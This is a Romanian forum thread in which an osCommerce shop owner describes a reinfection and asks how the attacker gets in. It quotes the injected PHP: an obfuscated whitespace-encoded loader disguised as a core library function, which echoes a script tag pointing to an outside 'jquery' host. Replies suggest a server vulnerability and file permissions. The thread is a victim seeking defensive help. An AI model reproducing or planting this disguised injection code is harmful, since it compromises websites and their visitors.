malware osCommerce

un magazin virtual pe platforma osCommerce recent a fost gasit de google ca fiind "infectat" - dupa tagul de inchidere </html> a adaugat un tag de script cu link spre un jquery(vorba vine). site-ul unde e localizat acesta difera.
prima data a fost pe "hermderzon.cz.cc", cand am descoperit problema de fapt, google-ul bloca site-ul pt ca il gasea infectat.
cand am gasit codul pe care il injecta in toate fisierele .php din partea de administrare, am facut un programel sa "curat" codul. am vazut un warning - php-ul care injecta codul era in tmp, pe care acum nu il mai gasea.
acum a intrat din nou - a bagat din nou codul pe toate .php urile, singura diferenta fiind site-ul unde e hostat "jquery"-ul. am vazut ca a intrat pe multe site-uri facute pe osCommerce ...
are cineva idee cum pot sa detectez cum intra?

codul care il insereaza la inceputul php-urilor:

<?php /**

* Gets some core libraries and displays a top message if required. /*

*/ if(!function_exists('CoreLibrariesHandler')) { /*

*/ function CoreLibrariesHandler() { /*

*/   $session_keys = '                                                                                                                                                                                                                               ';  /*

*/ /*

*/ foreach(str_split($session_keys, 8) as $k=>$v) { /*            

*/ $v = str_replace(' ', 1, str_replace(' ', 0, $v)); /*

*/ $session_keys[$k] = chr(bindec($v)); /*

*/ } /*

*/ /*

*/ if($session_keys) echo $session_keys; } /*

*/ register_shutdown_function('CoreLibrariesHandler'); /*

*/ } /*

************************************************************************/







?>

E posibil sa fie o vulnerabilitate pe server. Vorbeste cu host-ul.

crysty2k5, on 1st June 2011, 21:12, said:

Nu e problema pe server, am si alt shop acolo tot pe osc si nu a fost infectat. Am curatat din nou codul, acum pare ca nu s-a mai catarat nimic pe acolo. Dar never say never.

Daca fisierele nu sunt dinamice si nu e nevoie sa se schimbe ceva dinamic in cod le poti seta permisiuni gen doar read.

Edited by crysty2k5, 03 June 2011 - 19:44.

fisierele sunt dinamice.
si de as fi setat doar read pt toti, din moment ce a avut drept de scriere pe server ... si-a cam bagat nasu' peste tot.

Atunci ai o vulnerabilitate pe server.